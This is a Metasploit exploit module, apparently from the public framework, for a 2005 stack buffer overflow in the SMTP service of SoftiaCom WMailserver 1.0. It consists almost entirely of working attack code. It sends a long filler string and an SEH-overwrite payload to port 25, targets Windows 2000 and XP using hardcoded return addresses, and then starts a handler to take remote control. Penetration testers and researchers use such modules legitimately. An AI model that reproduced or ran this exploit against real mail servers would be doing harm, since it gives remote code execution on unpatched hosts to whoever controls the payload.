SoftiaCom WMailserver 1.0 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
        (SMTP) via a SEH frame overwrite.
      },
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2005-2287' ],
          [ 'OSVDB', '17883' ],
          [ 'BID', '14213' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English All',   		{ 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', 		{ 'Ret' => 0x71aa32ad } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-07-11'))

    register_options([ Opt::RPORT(25) ])
  end

  def exploit
    connect

    filler = " " + rand_text_alpha_upper(5115)
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh + rand_text_alpha_upper(200)

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n\r\n")

    handler
    disconnect
  end
end